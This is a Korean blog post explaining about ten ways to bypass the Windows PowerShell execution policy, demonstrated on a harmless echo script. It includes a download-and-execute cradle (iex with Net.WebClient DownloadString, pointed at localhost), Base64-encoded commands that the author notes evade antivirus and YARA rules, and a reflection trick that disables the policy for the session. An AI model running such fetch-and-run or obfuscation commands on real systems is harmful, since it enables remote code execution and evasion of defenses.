콤푸타/Windows

[windows] powershell 실행 정책을 우회 하는 다양한 방법

어둠의다크 2024. 11. 24. 00:36

 윈도우에서는 기본적으로 파워쉘을 통한 코드 실행을 제한하고 있다. 보안 상의 이유인 것으로 추정되는데, 공격자들이 파워쉘을 악용하기 쉽기 때문이다. 이번 포스팅에서는 이런 실행 정책을 우회할 수 있는 방법들을 알아보겠다.

 

1. 설정 확인하기

파워쉘을 열어서 Get-ExecutionPolicy -List | Format-Table -AutoSize 명령으로 현재 정책을 확인해보자.

기본적으로 모두 정책이 정의되지 않은 것을 확인할 수 있다.

 

2. 테스트 해보기

 임의 경로에 ps1 파일을 만들어 한번 실험해보자. 필자는 echo.ps1 이라는 파일을 만들어 echo 'hello powershell' 이라는 내용을 작성했다.

그런 다음 해당 경로에서 파워쉘을 열어 echo.ps1 파일을 한번 실행해보자 그러면 이렇게 보안 오류가 발생하는 것을 확인할 수 있다.

 

3. 우회하기

  그럼 파워쉘 실행정책을 한번 우회해보자.

 

a. 코드 직접 실행

 가장 간단한 방법은 해당 코드를 터미널에 직접 입력해 실행하면 된다.

 

b. Get-Content, type

 Get-Content 로 파일 내용을 읽어 실행할 수 있다. 파이프를 사용해 읽어들인 내용을 파워쉘로 전달하고 있다.

Get-Content .\echo.ps1 | powershell -noprofile -

 type은 Get-Content 와 동일하다

type .\echo.ps1 | powershell -noprofile -

 

d. powershell -command

 powershell 에서 powershell -command 기능을 통해 다음 문자열을 실행 가능하다. -command는 -c로 줄여쓸 수 있다.

Powershell -command "echo 'hello powershell'"
Powershell -c "echo 'hello powershell'"

 

e. Invoke-Expression

 Invoke-Expression은 주어진 문자열을 powershell로 실행하는 강력한 기능이다. 

powershell -noprofile -c "Invoke-Expression 'echo hello powershell'"
powershell -noprofile -c "Invoke-Expression 'echo \"hello" "powershell\ " ' "

powershell -nop -c "iex 'echo \"hello" "powershell\ " ' "
Get-Content echo.ps1 | Invoke-Expression

파워쉘의 Net.WebClient 기능과 결합하면 웹에서 임의 코드를 읽어 실행시키는 아주 강력한 fileless & LOTL(leaving off the land) 공격이 된다. 
 시연을 위해 fastapi를 사용해 간단한 웹 서버를 만든 다음 다음 명령을 수행 해 보았다.

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://localhost:8000/downloadfile/echo.ps1')"

웹 프로토콜로 파일을 읽어들여 임의 코드를 실행했다!

 

f. Invoke-Command

Invoke-Command -scriptblock {echo 'hello powershell'}
Invoke-Command -computername localhost -scriptblock {echo 'hello powershell'}

 

g. powershell -ExcutionPolicy

 직관적이다. 실행 정책을 우회할 수 있다.

powershell -ExecutionPolicy Bypass -File ./echo.ps1
powerShell -ExecutionPolicy UnRestricted -File ./echo.ps1
powerShell -ExecutionPolicy Remotesigned -File ./echo.ps1

 

h. 바이트코드 인코딩

 임의 코드를 바이트 코드로 인코딩해 실행시킬 수 있다. 이 방법은 사실 문자열 데이터로 악성행위를 탐지하는 백신이나 yara rule 등을 우회하는 방법으로 더 적절해보인다.

$command = Get-Content echo.ps1
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command) 
$encodedCommand = [Convert]::ToBase64String($bytes) 
powershell.exe -EncodedCommand $encodedCommand
powershell.exe -enc $encodedCommand

 

i. Disable Execution Policy by Swapping out the Authorization Manager

 현재 세션을 닫을때까지 실행 정책을 null로 바꿀 수 있다.

function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} 
Disable-ExecutionPolicy
./echo.ps1

 

j. 프로세스에 대해 보안 정책 설정

 보안 정책은 여러 스코프에 대해 설정할 수 있다. 프로세스에 대해 제한 없음으로 변경하면 임의 코드 파일을 실행할 수 있다. 현재 세션에 대해서만 적용된다.

Set-ExecutionPolicy Bypass -Scope Process

 

k. 현재 사용자에 대해 보안 정책 설정

 위와 비슷하다.

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

 

4. 참조

https://learn.microsoft.com/ko-kr/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.4

 

about_Execution_Policies - PowerShell

PowerShell 실행 정책을 설명하고 이를 관리하는 방법을 설명합니다.

learn.microsoft.com

https://www.netspi.com/blog/technical-blog/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/

 

15 Ways to Bypass the PowerShell Execution Policy

By default, PowerShell is configured to prevent the execution of PowerShell scripts on Windows systems. In this blog I’ll cover 15 ways to bypass the PowerShell execution policy without having local administrator rights on the system.

www.netspi.com

https://dirt-spoon.tistory.com/150

 

파워쉘을 이용한 원격 서버 관리

윈도우지만 ssh 형태로 접속할 수 있으며, cli 명령어로 서버를 관리할 수 있네요. 관리할 윈도우 서버가 많다면 최고의 기능입니다~ 설정해보니, 재미있네요~ [원격서버 작업]: 접속되는 서버 1.

dirt-spoon.tistory.com

https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html

 

PowerShell Basics - Execution Policy and Code Signing Part 1

One will see in many places in Microsoft documentation and in several books out there that PowerShell has security system called Execution Policy, I personally do not agree this is a security measure but just a simple control to protect from accidental exe

www.darkoperator.com